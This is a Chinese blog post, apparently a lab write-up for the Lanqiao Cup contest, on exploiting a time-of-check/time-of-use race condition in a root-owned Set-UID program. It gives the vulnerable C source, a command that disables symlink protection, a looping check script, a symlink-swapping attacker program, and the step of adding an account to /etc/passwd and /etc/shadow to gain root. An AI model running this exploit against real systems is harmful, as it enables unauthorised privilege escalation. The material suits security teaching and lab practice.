蓝桥杯之竞态条件漏洞

蓝桥杯之竞态条件漏洞

竞态条件漏洞

漏洞复现

在开始之前需要保证实验环境关闭了针对竞态条件攻击的保护

1
2
3
$ sudo su
$ echo 0 > /proc/sys/fs/protected_symlinks
$ exit

需要拥有root权限

重写root拥有者的文件

这里新建两个目标文件root_file和append_text

1
2
$ sudo touch root_file 
$ sudo chmod g+w root_file

在append_text文件中写入任意内容,这里写入”This is a flag!”

新建的三个文件结构及其权限如下

exp代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* vulp.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define DELAY 10000

int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
long int i;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
for(i=0; i < DELAY; i++){
int a = i^2;
}
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}

这是一个 Set-UID 程序(root所有) 它将用户输入的字符串添加到文件 /tmp/XYZ 后,access() 会检查用户是否具备访问资源的权限,也就是说该函数检查real id而不是effective id。由于代码首先使用access查看文件是否有写权限,然后再使用fopen去访问目标文件写入数据,由于存在的时间差而导致可能存在条件竞态漏洞。在程序检测完/tmp/XYZ这个文件后的时间差里面如果链接/tep/XYZ到/etc/shadow,则可以直接写入。

编译vulp.c文件

1
gcc vulp.c -o vylp

创建检查时间戳脚本check.sh,将append_text的内容读进vulp,并且链接到root_file文件

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
#注意`不是单引号
old=`ls -l /home/shiyanlou/seed/root_file`
new=`ls -l /home/shiyanlou/seed/root_file`
while [ "$old" = "$new" ]
do
./vulp < append_text
new=`ls -l /home/shiyanlou/seed/root_file`
done
echo "STOP... The file has been changed"

创建攻击代码attacker.c并编译

1
2
3
4
5
6
7
8
int main()
{
while(1){
system("ln -sf /home/shiyanlou/seed/tmp_file /tmp/XYZ");
system("ln -sf /home/shiyanlou/seed/root_file /tmp/XYZ");
}
return 0;
}

最后所有创建的文件如下

先运行attacker,在运行check.sh

获取root权限

在passwd文件和shadow文件中添加指定格式,新建账户和密码

1
mkpasswd -m sha-512 revolc
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信